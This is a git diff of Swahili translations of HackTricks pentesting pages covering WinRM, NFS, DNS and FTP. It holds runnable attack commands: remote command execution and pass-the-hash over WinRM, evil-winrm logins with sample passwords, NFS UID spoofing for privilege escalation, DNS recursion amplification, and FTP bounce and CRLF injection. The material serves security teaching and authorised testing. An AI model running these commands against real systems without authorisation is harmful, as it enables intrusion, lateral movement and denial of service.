[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) inasisitizwa kama **protokali na Microsoft** inayowezesha **usimamizi wa mbali wa mifumo ya Windows** kupitia HTTP(S), ikitumia SOAP katika mchakato. Kimsingi inategemea WMI, ikijitambulisha kama kiolesura cha HTTP kwa ajili ya operesheni za WMI.
|
||||
|
||||
Kuwepo kwa WinRM kwenye mashine kunaruhusu usimamizi wa mbali kwa urahisi kupitia PowerShell, kama ilivyo kwa SSH kwa mifumo mingine ya uendeshaji. Ili kubaini kama WinRM inafanya kazi, inashauriwa kuangalia ufunguzi wa bandari maalum:
|
||||
Uwepo wa WinRM kwenye mashine unaruhusu usimamizi wa mbali kwa urahisi kupitia PowerShell, kama ilivyo kwa SSH kwa mifumo mingine ya uendeshaji. Ili kubaini kama WinRM inafanya kazi, inashauriwa kuangalia ufunguzi wa bandari maalum:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
|
||||
Bandari iliyo wazi kutoka kwenye orodha hapo juu inaashiria kuwa WinRM imewekwa, hivyo kuruhusu majaribio ya kuanzisha kikao cha mbali.
|
||||
|
||||
### **Kuanzisha Kikao cha WinRM**
|
||||
### **Kuanza Kikao cha WinRM**
|
||||
|
||||
Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta kukubali amri za mbali za PowerShell. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika:
|
||||
Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta kukubali amri za PowerShell za mbali. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatia kwa makini kutokana na athari zake. Pia inabainishwa kuwa kubadilisha aina ya mtandao kutoka "Public" hadi "Work" inaweza kuwa muhimu kwenye mashine ya mshambuliaji.
|
||||
Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatia kwa makini kutokana na athari zake. Pia inabainishwa kwamba kubadilisha aina ya mtandao kutoka "Public" hadi "Work" huenda ikawa muhimu kwenye mashine ya mshambuliaji.
|
||||
|
||||
Zaidi ya hayo, WinRM inaweza ku **washwa kwa mbali** kwa kutumia amri ya `wmic`, kama inavyoonyeshwa hapa:
|
||||
Zaidi ya hayo, WinRM inaweza **kuzinduliwa kwa mbali** kwa kutumia amri ya `wmic`, kama inavyoonyeshwa hapa:
|
||||
```powershell
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
@ -36,11 +36,11 @@ Ili kuthibitisha usanidi wa mashine yako ya shambulio, amri ya `Test-WSMan` inat
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
Majibu yanapaswa kuwa na taarifa kuhusu toleo la itifaki na wsmid, ikionyesha kwamba WinRM imewekwa vizuri.
|
||||
Jibu linapaswa kuwa na habari kuhusu toleo la itifaki na wsmid, ikionyesha kwamba WinRM imewekwa vizuri.
|
||||
|
||||
.png>)
|
||||
|
||||
- Kinyume chake, kwa lengo **siyo** lililowekwa kwa WinRM, matokeo yatakuwa hakuna taarifa kama hizo, ikionyesha ukosefu wa usanidi mzuri wa WinRM.
|
||||
- Kinyume chake, kwa lengo **sio** lililowekwa kwa WinRM, matokeo yatakuwa hakuna habari kama hiyo ya kina, ikionyesha ukosefu wa usanidi mzuri wa WinRM.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
||||
```
|
||||
.png>)
|
||||
|
||||
Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako ya ndani na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya:
|
||||
Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
@ -66,7 +66,7 @@ Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep
|
||||
```
|
||||
### Pata kikao cha PS
|
||||
|
||||
Ili kupata shell ya PowerShell ya mwingiliano tumia `Enter-PSSession`:
|
||||
Ili kupata shell ya PowerShell ya kuingiliana tumia `Enter-PSSession`:
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -93,9 +93,9 @@ Ili kutumia PS Remoting na WinRM lakini kompyuta haijasanidiwa, unaweza kuifungu
|
||||
```powershell
|
||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
### Kuhifadhi na Kurejesha vikao
|
||||
### Saving and Restoring sessions
|
||||
|
||||
Hii **haitafanya kazi** ikiwa **lugha** ime **punguzia** kwenye kompyuta ya mbali.
|
||||
Hii **haitaweza kufanya kazi** ikiwa **lugha** ime **punguzia** kwenye kompyuta ya mbali.
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -107,15 +107,15 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
|
||||
#And restore it at any moment doing
|
||||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
Ndani ya kikao hiki unaweza kupakia skripti za PS kwa kutumia _Invoke-Command_
|
||||
Ndani ya kikao hiki unaweza kupakia skripti za PS ukitumia _Invoke-Command_
|
||||
```powershell
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
### Makosa
|
||||
|
||||
Ikiwa unapata kosa lifuatalo:
|
||||
Ikiwa unapata makosa yafuatayo:
|
||||
|
||||
`enter-pssession : Kuungana na seva ya mbali 10.10.10.175 kumeshindikana na ujumbe wa kosa ufuatao : Mteja wa WinRM haiwezi kushughulikia ombi. Ikiwa mpango wa uthibitishaji ni tofauti na Kerberos, au ikiwa kompyuta ya mteja haijajiunga na eneo, basi usafiri wa HTTPS lazima utumike au mashine ya marudio lazima iongezwe kwenye mipangilio ya TrustedHosts. Tumia winrm.cmd kuunda mipangilio ya TrustedHosts. Kumbuka kwamba kompyuta katika orodha ya TrustedHosts zinaweza kutothibitishwa. Unaweza kupata maelezo zaidi kuhusu hilo kwa kuendesha amri ifuatayo: winrm help config. Kwa maelezo zaidi, angalia mada ya msaada about_Remote_Troubleshooting.`
|
||||
`enter-pssession : Kuungana na seva ya mbali 10.10.10.175 kumeshindikana na ujumbe wa makosa ufuatao : Mteja wa WinRM haiwezi kushughulikia ombi. Ikiwa mpango wa uthibitishaji ni tofauti na Kerberos, au ikiwa kompyuta ya mteja haijajiunga na eneo, basi usafiri wa HTTPS lazima utumike au mashine ya marudio lazima iongezwe kwenye mipangilio ya TrustedHosts. Tumia winrm.cmd kuunda mipangilio ya TrustedHosts. Kumbuka kwamba kompyuta katika orodha ya TrustedHosts zinaweza zisithibitishwe. Unaweza kupata maelezo zaidi kuhusu hilo kwa kuendesha amri ifuatayo: winrm help config. Kwa maelezo zaidi, angalia mada ya msaada ya about_Remote_Troubleshooting.`
|
||||
|
||||
Jaribu kwenye mteja (habari kutoka [hapa](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
Soma **nyaraka** zake kwenye github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
Soma **nyaraka** kwenye github yake: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
|
||||
print(s.run_cmd('ipconfig'))
|
||||
print(s.run_ps('ipconfig'))
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-winrm
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
|
||||
|
||||
Entry_2:
|
||||
Name: Hydra Brute Force
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## **Basic Information**
|
||||
|
||||
**NFS** ni mfumo ulioandaliwa kwa ajili ya **client/server** ambao unawawezesha watumiaji kufikia faili kwa urahisi kupitia mtandao kana kwamba faili hizi ziko ndani ya directory ya ndani.
|
||||
**NFS** ni mfumo ulioandaliwa kwa ajili ya **mteja/server** ambao unawawezesha watumiaji kufikia faili kwa urahisi kupitia mtandao kana kwamba faili hizi ziko ndani ya directory ya ndani.
|
||||
|
||||
Sifa muhimu ya protokali hii ni ukosefu wa **uthibitishaji** au **mitambo ya idhini** iliyojengwa ndani. Badala yake, idhini inategemea **taarifa za mfumo wa faili**, ambapo seva inawajibika kutafsiri kwa usahihi **taarifa za mtumiaji zilizotolewa na mteja** katika **format ya idhini** inayohitajika na mfumo wa faili, hasa ikifuatilia **sintaksia ya UNIX**.
|
||||
Sifa muhimu ya protokali hii ni ukosefu wa **uthibitishaji** au **mekanismi yaidhinisha** iliyojengwa ndani. Badala yake, idhini inategemea **taarifa za mfumo wa faili**, ambapo server ina jukumu la kutafsiri kwa usahihi **taarifa za mtumiaji zilizotolewa na mteja** katika **format ya idhini** inayohitajika na mfumo wa faili, ikifuata hasa **sintaksia ya UNIX**.
|
||||
|
||||
Uthibitishaji kwa kawaida unategemea **vitambulisho vya `UID`/`GID` vya UNIX na uanachama wa vikundi**. Hata hivyo, changamoto inajitokeza kutokana na uwezekano wa kutofautiana katika **mappings ya `UID`/`GID`** kati ya wateja na seva, na kuacha nafasi ya kuthibitisha zaidi na seva. Kwa hivyo, protokali hii inafaa zaidi kutumika ndani ya **mitandao ya kuaminika**, kutokana na kutegemea njia hii ya uthibitishaji.
|
||||
Uthibitishaji kwa kawaida unategemea **vitambulisho vya `UID`/`GID` vya UNIX na uanachama wa vikundi**. Hata hivyo, changamoto inatokea kutokana na uwezekano wa kutofautiana katika **mappings ya `UID`/`GID`** kati ya wateja na seva, na kuacha nafasi ya kuthibitisha zaidi na seva. Kwa hivyo, protokali hii inafaa zaidi kutumika ndani ya **mitandao ya kuaminika**, kutokana na kutegemea njia hii ya uthibitishaji.
|
||||
|
||||
**Port ya default**: 2049/TCP/UDP (isipokuwa toleo la 4, inahitaji tu TCP au UDP).
|
||||
```
|
||||
@ -18,9 +18,9 @@ Uthibitishaji kwa kawaida unategemea **vitambulisho vya `UID`/`GID` vya UNIX na
|
||||
|
||||
- **NFSv2**: Toleo hili linatambulika kwa ufanisi wake mpana na mifumo mbalimbali, likionyesha umuhimu wake katika operesheni za awali hasa kupitia UDP. Kwa kuwa **zamani** zaidi katika mfululizo, lilianzisha msingi wa maendeleo ya baadaye.
|
||||
|
||||
- **NFSv3**: Iliyotambulishwa kwa mabadiliko mbalimbali, NFSv3 ilipanua juu ya mtangulizi wake kwa kusaidia ukubwa wa faili tofauti na kutoa mifumo bora ya kuripoti makosa. Licha ya maendeleo yake, ilikabiliwa na mipaka katika ufanisi wa kurudi nyuma kwa wateja wa NFSv2.
|
||||
- **NFSv3**: Iliyotambulishwa kwa mfululizo wa maboresho, NFSv3 ilipanua juu ya mtangulizi wake kwa kusaidia ukubwa wa faili tofauti na kutoa mifumo bora ya kuripoti makosa. Licha ya maendeleo yake, ilikabiliwa na vikwazo katika ufanisi wa kurudi nyuma kwa wateja wa NFSv2.
|
||||
|
||||
- **NFSv4**: Toleo muhimu katika mfululizo wa NFS, NFSv4 ilileta seti ya vipengele vilivyoundwa kuboresha ushirikiano wa faili katika mitandao. Maboresho makubwa ni pamoja na ujumuishaji wa Kerberos kwa **usalama wa juu**, uwezo wa kupita kwenye moto na kufanya kazi juu ya Mtandao bila haja ya portmappers, msaada wa Orodha za Udhibiti wa Ufikiaji (ACLs), na utambulisho wa operesheni za msingi wa hali. Maboresho yake ya utendaji na kupitishwa kwa itifaki ya hali inafanya NFSv4 kuwa maendeleo muhimu katika teknolojia za ushirikiano wa faili mtandaoni.
|
||||
- **NFSv4**: Toleo muhimu katika mfululizo wa NFS, NFSv4 ilileta seti ya vipengele vilivyoundwa kuboresha ushirikiano wa faili katika mitandao. Maboresho makubwa ni pamoja na ujumuishaji wa Kerberos kwa **usalama wa juu**, uwezo wa kupita kupitia moto na kufanya kazi juu ya Mtandao bila haja ya portmappers, msaada wa Orodha za Udhibiti wa Ufikiaji (ACLs), na utambulisho wa operesheni za msingi wa hali. Maboresho yake ya utendaji na kupitishwa kwa itifaki ya hali inafanya NFSv4 kuwa maendeleo muhimu katika teknolojia za ushirikiano wa faili mtandaoni.
|
||||
|
||||
Kila toleo la NFS limeandaliwa kwa nia ya kukabiliana na mahitaji yanayobadilika ya mazingira ya mtandao, ikiongeza hatua kwa hatua usalama, ufanisi, na utendaji.
|
||||
|
||||
@ -55,11 +55,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## Permissions
|
||||
|
||||
Ikiwa unakata folder ambayo ina **files au folders ambazo zinaweza kufikiwa na mtumiaji fulani tu** (kwa **UID**). Unaweza **kuunda** **katika** eneo la ndani mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kufikia** file/folder.
|
||||
Ikiwa unachomeka folda ambayo ina **faili au folda zinazopatikana tu na mtumiaji fulani** (kwa **UID**). Unaweza **kuunda** **katika** eneo la ndani mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kupata** faili/folda.
|
||||
|
||||
## NSFShell
|
||||
|
||||
Ili orodhesha kwa urahisi, kukata na kubadilisha UID na GID ili kupata ufikiaji wa files unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
Ili orodhesha kwa urahisi, kuchomeka na kubadilisha UID na GID ili kupata faili unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
@ -74,11 +74,11 @@ Ili orodhesha kwa urahisi, kukata na kubadilisha UID na GID ili kupata ufikiaji
|
||||
|
||||
- **Use of Insecure Ports (`insecure`):** Wakati imewezeshwa, hii inaruhusu mfumo kutumia bandari zilizo juu ya 1024. Usalama wa bandari zilizo juu ya kiwango hiki unaweza kuwa dhaifu, kuongeza hatari.
|
||||
|
||||
- **Visibility of Nested File Systems (`nohide`):** Mipangilio hii inafanya saraka kuonekana hata kama mfumo mwingine wa faili umewekwa chini ya saraka iliyosafirishwa. Kila saraka inahitaji kuingia kwake mwenyewe kwa usimamizi sahihi.
|
||||
- **Visibility of Nested File Systems (`nohide`):** Mipangilio hii inafanya saraka kuonekana hata kama mfumo mwingine wa faili umewekwa chini ya saraka iliyosambazwa. Kila saraka inahitaji kuingia kwake mwenyewe kwa usimamizi sahihi.
|
||||
|
||||
- **Root Files Ownership (`no_root_squash`):** Kwa mipangilio hii, faili zinazoundwa na mtumiaji wa root zinahifadhi UID/GID yao ya awali ya 0, bila kuzingatia kanuni ya haki ndogo na huenda ikatoa ruhusa nyingi.
|
||||
|
||||
- **Non-Squashing of All Users (`no_all_squash`):** Chaguo hili linahakikisha kwamba vitambulisho vya watumiaji vinahifadhiwa katika mfumo mzima, ambavyo vinaweza kusababisha matatizo ya ruhusa na udhibiti wa ufikiaji ikiwa hayatatuliwa vizuri.
|
||||
- **Non-Squashing of All Users (`no_all_squash`):** Chaguo hili linahakikisha kwamba vitambulisho vya watumiaji vinahifadhiwa katika mfumo mzima, ambayo inaweza kusababisha matatizo ya ruhusa na udhibiti wa ufikiaji ikiwa haitashughulikiwa ipasavyo.
|
||||
|
||||
## Privilege Escalation using NFS misconfigurations
|
||||
|
||||
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
|
||||
cd /mnt
|
||||
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -3,11 +3,11 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## **Taarifa za Msingi**
|
||||
## **Basic Information**
|
||||
|
||||
Mfumo wa **Majina ya Kikoa (DNS)** unatumika kama directory ya mtandao, ukiruhusu watumiaji kufikia tovuti kupitia **majina ya kikoa ambayo ni rahisi kukumbuka** kama google.com au facebook.com, badala ya anwani za Internet Protocol (IP) za nambari. Kwa kutafsiri majina ya kikoa kuwa anwani za IP, DNS inahakikisha kwamba vivinjari vya wavuti vinaweza kupakia rasilimali za mtandao haraka, na kurahisisha jinsi tunavyosafiri katika ulimwengu wa mtandao.
|
||||
The **Domain Name System (DNS)** inatumika kama directory ya mtandao, ikiruhusu watumiaji kufikia tovuti kupitia **majina ya kikoa ambayo ni rahisi kukumbuka** kama google.com au facebook.com, badala ya anwani za nambari za Internet Protocol (IP). Kwa kutafsiri majina ya kikoa kuwa anwani za IP, DNS inahakikisha kwamba vivinjari vya wavuti vinaweza kupakia rasilimali za mtandao haraka, ikifanya iwe rahisi jinsi tunavyosafiri katika ulimwengu wa mtandao.
|
||||
|
||||
**Bandari ya Kawaida:** 53
|
||||
**Default port:** 53
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
|
||||
@ -18,10 +18,10 @@ PORT STATE SERVICE REASON
|
||||
|
||||
- **DNS Root Servers**: Hizi ziko juu ya hierarchi ya DNS, zikisimamia maeneo ya juu na kuingilia tu ikiwa seva za chini hazijajibu. Shirika la Mtandao la Majina na Nambari (**ICANN**) linaangalia uendeshaji wao, ikiwa na idadi ya kimataifa ya 13.
|
||||
- **Authoritative Nameservers**: Seva hizi zina neno la mwisho kwa maswali katika maeneo yao yaliyotengwa, zikitoa majibu ya uhakika. Ikiwa hawawezi kutoa jibu, swali linaelekezwa kwa seva za mzizi.
|
||||
- **Non-authoritative Nameservers**: Zikiwa hazina umiliki juu ya maeneo ya DNS, seva hizi zinakusanya taarifa za eneo kupitia maswali kwa seva nyingine.
|
||||
- **Non-authoritative Nameservers**: Zikiwa hazina umiliki juu ya maeneo ya DNS, seva hizi zinakusanya taarifa za kikoa kupitia maswali kwa seva nyingine.
|
||||
- **Caching DNS Server**: Aina hii ya seva inakumbuka majibu ya maswali ya awali kwa muda fulani ili kuharakisha nyakati za majibu kwa maombi ya baadaye, huku muda wa cache ukiongozwa na seva yenye mamlaka.
|
||||
- **Forwarding Server**: Ikihudumu katika jukumu rahisi, seva za kupeleka zinapeleka maswali kwa seva nyingine.
|
||||
- **Resolver**: Imejumuishwa ndani ya kompyuta au route, resolvers hufanya utatuzi wa majina ndani ya eneo na hazichukuliwi kuwa na mamlaka.
|
||||
- **Resolver**: Imejumuishwa ndani ya kompyuta au route, resolvers hufanya ufumbuzi wa majina kwa ndani na hazichukuliwi kuwa na mamlaka.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@ -32,13 +32,13 @@ Unaweza kufanya swali hili kwa kutumia `dig`:
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
Zaidi ya hayo, chombo [`fpdns`](https://github.com/kirei/fpdns) kinaweza pia kubaini alama ya seva.
|
||||
Zaidi ya hayo, chombo [`fpdns`](https://github.com/kirei/fpdns) kinaweza pia kutambua alama ya seva.
|
||||
|
||||
Pia inawezekana kupata bendera pia kwa kutumia skripti ya **nmap**:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
### **Kila rekodi**
|
||||
### **Any record**
|
||||
|
||||
Rekodi **ANY** itaomba seva ya DNS **irudishe** kila **kitu** kilichopo ambacho **inaweza kufichua**.
|
||||
```bash
|
||||
@ -82,7 +82,7 @@ nslookup
|
||||
```bash
|
||||
auxiliary/gather/enum_dns #Perform enumeration actions
|
||||
```
|
||||
### Mifumo ya nmap inayofaa
|
||||
### Maneno muhimu ya nmap
|
||||
```bash
|
||||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
@ -95,7 +95,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ikiwa unaweza kupata subdomains zinazoelekeza kwenye anwani za IP za ndani, unapaswa kujaribu kufanya reverse dns BF kwa NSs za domain inayouliza kwa anuwai hiyo ya IP.
|
||||
> Ikiwa unaweza kupata subdomains zinazoelekeza kwa anwani za IP za ndani, unapaswa kujaribu kufanya reverse dns BF kwa NSs za domain inayouliza kwa anuwai hiyo ya IP.
|
||||
|
||||
Chombo kingine cha kufanya hivyo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
||||
```
|
||||
### IPv6
|
||||
|
||||
Brute force kutumia maombi ya "AAAA" kukusanya IPv6 za subdomains.
|
||||
Brute force kutumia ombi "AAAA" kukusanya IPv6 za subdomains.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
@ -136,7 +136,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
|
||||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Ikiwa **DNS recursion imewezeshwa**, mshambuliaji anaweza **kudanganya** **chanzo** kwenye pakiti ya UDP ili kufanya **DNS itume jibu kwa seva ya mwathirika**. Mshambuliaji anaweza kutumia aina za rekodi **ANY** au **DNSSEC** kwani huwa na majibu makubwa.\
|
||||
Ikiwa **DNS recursion imewezeshwa**, mshambuliaji anaweza **kudanganya** **asilimia** kwenye pakiti ya UDP ili kufanya **DNS itume jibu kwa seva ya mwathirika**. Mshambuliaji anaweza kutumia aina za rekodi **ANY** au **DNSSEC** kwani zinatumika kuwa na majibu makubwa.\
|
||||
Njia ya **kuangalia** ikiwa DNS inasaidia **recursion** ni kuuliza jina la kikoa na **kuangalia** ikiwa **bendera "ra"** (_recursion available_) iko kwenye jibu:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
@ -150,9 +150,9 @@ dig google.com A @<IP>
|
||||
.png>)
|
||||
|
||||
|
||||
### Barua kwa akaunti isiyokuwepo
|
||||
### Barua pepe kwa akaunti isiyokuwepo
|
||||
|
||||
**Kutuma barua pepe kwa anwani isiyokuwepo** kwa kutumia kikoa cha mwathirika kunaweza kusababisha mwathirika kutuma ujumbe wa arifa ya kutofika (NDN) ambao **vichwa** vyake vinaweza kuwa na taarifa za kuvutia kama vile **majina ya seva za ndani na anwani za IP**.
|
||||
**Kutuma barua pepe kwa anwani isiyokuwepo** kwa kutumia kikoa cha mwathirika kunaweza kusababisha mwathirika kutuma ujumbe wa arifa ya kutofika (NDN) ambao **vichwa** vyake vinaweza kuwa na taarifa za kuvutia kama vile **jina la seva za ndani na anwani za IP**.
|
||||
|
||||
## Baada ya Utekelezaji
|
||||
|
||||
@ -167,7 +167,7 @@ host.conf
|
||||
/etc/bind/named.conf.log
|
||||
/etc/bind/*
|
||||
```
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
- [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
||||
- Kitabu: **Network Security Assessment 3rd edition**
|
||||
@ -196,7 +196,7 @@ SERVER {IP}
|
||||
Domain_Name
|
||||
exit
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-dns
|
||||
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -115,7 +115,7 @@ Unaweza kuungana na seva ya FTP kwa kutumia kivinjari (kama Firefox) kwa kutumia
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Kumbuka kwamba ikiwa **programu ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma uandishi wa URL mara mbili `%0d%0a` (katika uandishi wa URL mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Mojawapo ya vitendo hivi vya kiholela ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya skanning ya bandari au kujaribu kuzungumza na huduma zingine za msingi wa maandiko ya wazi (kama http).
|
||||
Kumbuka kwamba ikiwa **programu ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma double URL encode `%0d%0a` (katika double URL encode hii ni `%250d%250a`) bytes na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Mojawapo ya vitendo hivi vya kiholela ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya skanning ya port au kujaribu kuzungumza na huduma zingine za msingi wa maandiko ya wazi (kama http).
|
||||
|
||||
## Pakua faili zote kutoka FTP
|
||||
```bash
|
||||
@ -136,7 +136,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`LIST`** Hii itatuma orodha ya faili katika folda ya sasa
|
||||
- **`LIST -R`** Orodha kwa njia ya kurudi (ikiwa inaruhusiwa na seva)
|
||||
- **`APPE /path/something.txt`** Hii itamwambia FTP kuhifadhi data iliyopokelewa kutoka kwa muunganisho wa **passive** au kutoka kwa muunganisho wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, litazidisha data.
|
||||
- **`STOR /path/something.txt`** Kama `APPE` lakini itabadilisha faili
|
||||
- **`STOR /path/something.txt`** Kama `APPE` lakini itafuta faili
|
||||
- **`STOU /path/something.txt`** Kama `APPE`, lakini ikiwa ipo haitafanya chochote.
|
||||
- **`RETR /path/to/file`** Muunganisho wa passive au wa bandari lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyoonyeshwa kupitia muunganisho huo
|
||||
- **`REST 6`** Hii itamwambia seva kwamba wakati wa kutuma kitu kwa kutumia `RETR` inapaswa kuanza kwenye byte ya 6.
|
||||
@ -150,7 +150,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
|
||||
Seva zingine za FTP zinaruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuungana na seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuchunguza ni bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP.
|
||||
|
||||
[**Learn here how to abuse a FTP server to scan ports.**](ftp-bounce-attack.md)
|
||||
[**Jifunze hapa jinsi ya kutumia seva ya FTP kuchunguza bandari.**](ftp-bounce-attack.md)
|
||||
|
||||
Unaweza pia kutumia tabia hii kufanya seva ya FTP ishughulike na protokali nyingine. Unaweza **kupakia faili inayoshikilia ombi la HTTP** na kufanya seva ya FTP iliyo hatarini **itume kwa seva ya HTTP isiyo na mpangilio** (_labda kuongeza mtumiaji mpya wa admin?_) au hata kupakia ombi la FTP na kufanya seva ya FTP iliyo hatarini ipakue faili kutoka seva nyingine ya FTP.\
|
||||
Nadharia ni rahisi:
|
||||
@ -168,14 +168,14 @@ Ni uwezekano mkubwa kwamba hii **itaonyesha kosa kama** _**Socket not writable**
|
||||
posts.txt
|
||||
{{#endfile}}
|
||||
|
||||
- Jaribu **kujaza ombi na data "junk" inayohusiana na protokali** (ukizungumza na FTP labda amri za junk tu au kurudia amri ya `RETR` ili kupata faili)
|
||||
- Jaribu **kujaza ombi na data "za junk" zinazohusiana na protokali** (ukizungumza na FTP labda amri za junk tu au kurudia maagizo ya `RETR` ili kupata faili)
|
||||
- Tu **jaza ombi na wahusika wengi wa null au wengine** (iliyogawanywa kwenye mistari au la)
|
||||
|
||||
Hata hivyo, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka seva nyingine ya FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla Server Vulnerability
|
||||
|
||||
